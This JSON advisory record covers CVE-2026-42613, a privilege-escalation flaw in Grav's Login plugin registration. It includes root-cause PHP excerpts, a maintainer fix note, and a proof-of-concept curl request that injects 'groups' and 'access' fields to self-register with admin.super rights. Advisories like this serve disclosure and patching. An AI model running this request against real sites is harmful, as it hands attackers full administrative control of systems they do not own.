{"id":"CVE-2026-42613","aliases":["CVE-2026-42613","GHSA-pxm6-mhxr-q4mj"],"related":[],"kind":"vulnerability","state":"published","title":"Grav: Privilege Escalation via Missing Server-Side Validation of groups/access","summary":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Grav is a file-based Web platform. Prior to 2.0.0-beta.2, the Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request. This vulnerability is fixed in 2.0.0-beta.2.","source":"cvelist"},{"lang":"en","text":"# Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access\n\n## Summary\n\nThe `Login::register()` method in the Login plugin accepts attacker-controlled `groups` and `access` fields from the registration POST data without server-side validation. When registration is enabled and `groups` or `access` are included in the configured allowed fields list, an unauthenticated user can self-register with `admin.super` privileges by injecting these fields into the registration request.\n\nThis is a missing server-side validation issue — the only defense is a config-level `fields` allowlist, which is an admin-facing setting, not a hardcoded security boundary.\n\n## Affected Component\n\n- **File:** `user/plugins/login/classes/Login.php`, lines 246-306\n- **Method:** `Login::register()`\n- **Validation:** `Login::validateField()`, lines 363-432\n- **Plugin:** Login Plugin 3.8.0\n- **Grav:** 1.8.0-beta.29\n\n## Root Cause\n\nIn `register()` (lines 254-267), the `groups` and `access` fields are only set to config defaults **if they are not already present in the input data**:\n\n```php\n// Line 254-260\nif (!isset($data['groups'])) {\n    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);\n    if (count($groups) > 0) {\n        $data['groups'] = $groups;\n    }\n}\n\n// Line 262-267\nif (!isset($data['access'])) {\n    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);\n    if (count($access) > 0) {\n        $data['access']['site'] = $access;\n    }\n}\n```\n\nIf an attacker **includes** `groups` or `access` in the POST body, the `!isset()` check passes and the config defaults are skipped. The attacker's values flow through unchanged.\n\nLater (lines 298-303), these values are assigned directly to the user object:\n\n```php\nif (isset($data['groups'])) {\n    $user->groups = $data['groups'];  // attacker-controlled\n}\nif (isset($data['access'])) {\n    $user->access = $data['access'];  // attacker-controlled\n}\n$user->save();\n```\n\nThe `validateField()` method (lines 363-432) has a `switch` statement that only validates: `username`, `password`, `password2`, `email`, `permissions`, `state`, and `language`. The `groups` and `access` fields pass through the `default` case with **no validation at all**.\n\n## Precondition\n\nRegistration must be enabled with `groups` and/or `access` in the configured allowed fields:\n\n```yaml\n# user/config/plugins/login.yaml\nuser_registration:\n  enabled: true\n  fields:\n    - username\n    - password\n    - email\n    - fullname\n    - groups    # ← enables the attack\n    - access    # ← enables the attack\n```\n\nThis is a configuration the admin UI allows without any warning. An admin adding `groups` to let users pick a non-privileged group (e.g., `editors`) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.\n\n## Proof of Concept\n\n### Malicious registration request (unauthenticated):\n\n```bash\ncurl -X POST \"${TARGET}/user_register\" \\\n  --data-urlencode \"data[username]=attacker\" \\\n  --data-urlencode \"data[password1]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[password2]=Str0ngP@ss!\" \\\n  --data-urlencode \"data[email]=attacker@evil.com\" \\\n  --data-urlencode \"data[fullname]=Attacker\" \\\n  --data-urlencode \"data[groups][]=admins\" \\\n  --data-urlencode \"data[access][admin][login]=true\" \\\n  --data-urlencode \"data[access][admin][super]=true\" \\\n  --data-urlencode \"data[access][site][login]=true\" \\\n  --data-urlencode \"form-nonce=${FORM_NONCE}\" \\\n  --data-urlencode \"__form-name__=user_register\" \\\n  --data-urlencode \"__unique_form_id__=${FORM_UID}\"\n```\n\n### Resulting account file (`user/accounts/attacker.yaml`):\n\n```yaml\nemail: attacker@evil.com\nfullname: Attacker\ngroups:\n  - admins\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: ...\nstate: enabled\n```\n\nThe attacker can then log into `/admin` with full super-admin privileges.\n\n## Impact\n\n- **Severity:** Critical (when precondition is met)\n- **Vector:** Unauthenticated → Super Admin\n- **Escalation:** Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload\n- **Precondition:** Registration enabled with `groups` or `access` in allowed fields — a configuration the admin UI permits without warning\n\n\n## Environment\n\n- Grav Core: 1.8.0-beta.29\n- Login Plugin: 3.8.0\n- PHP: 8.4.11\n\n## Credits\n\nJonathan Dersch at Hacking Cult GmbH https://hackingcult.de/\n\n\n\n---\n\n## Maintainer note — fix applied (2026-04-24)\n\nFixed in **grav-plugin-login 3.8.2** (commit [`3d419a0`](https://github.com/getgrav/grav-plugin-login/commit/3d419a0)). On the Grav 2.0 line, the login plugin is pinned at `>=3.8.2` by admin2's [`blueprints.yaml`](https://github.com/getgrav/grav-plugin-admin2/blob/develop/blueprints.yaml), so sites running admin2 with Grav **2.0.0-beta.2** pick the fix up automatically.\n\n**What changed:** the registration form handler now explicitly skips the `groups` and `access` privilege fields in the per-field input loop — even if an administrator added them to `user_registration.fields`. A warning is logged on any attempted injection. Server-side `default_values`, invitations, and the `user_registration.{groups,access}` config remain the sole sources of those values.\n\n**Files:**\n- [`login.php`](https://github.com/getgrav/grav-plugin-login/blob/develop/login.php) — form handler privilege-field strip.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Grav es una plataforma web basada en archivos. Antes de 2.0.0-beta.2, el método Login::register() en el plugin Login acepta campos de grupos y acceso controlados por el atacante de los datos POST de registro sin validación del lado del servidor. Cuando el registro está habilitado y los grupos o el acceso están incluidos en la lista de campos permitidos configurados, un usuario no autenticado puede auto-registrarse con privilegios admin.super inyectando estos campos en la solicitud de registro. Esta vulnerabilidad está corregida en 2.0.0-beta.2.","source":"nvd"}],"published":"2026-05-05T21:26:06.000Z","modified":"2026-10-26T18:10:00.173Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","score":9.4,"rating":"CRITICAL"}],"cwes":["CWE-20","CWE-862"],"affected":[{"ranges":[{"version":"< 2.0.0-beta.2","status":"affected"}],"vendor":"getgrav","product":"grav","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"2.0.0-beta.2"}],"ecosystem":"Packagist","package":"getgrav/grav","purl":"pkg:composer/getgrav/grav","source":"ghsa"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw","tags":["exploit","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42613","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-05-12T13:47:25.652Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42613","url":"https://www.cve.org/CVERecord?id=CVE-2026-42613","licence":"CVE Terms of Use","modified":"2026-05-12T13:48:03.822Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pxm6-mhxr-q4mj","url":"https://github.com/advisories/GHSA-pxm6-mhxr-q4mj","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:06.767Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42613","licence":"Public domain","modified":"2026-10-26T18:10:00.173Z"}],"updatedAt":"2026-11-25T22:59:21.200Z","epss":{"score":0.01135,"percentile":0.6741,"date":"2026-12-01T12:00:22.000Z"}}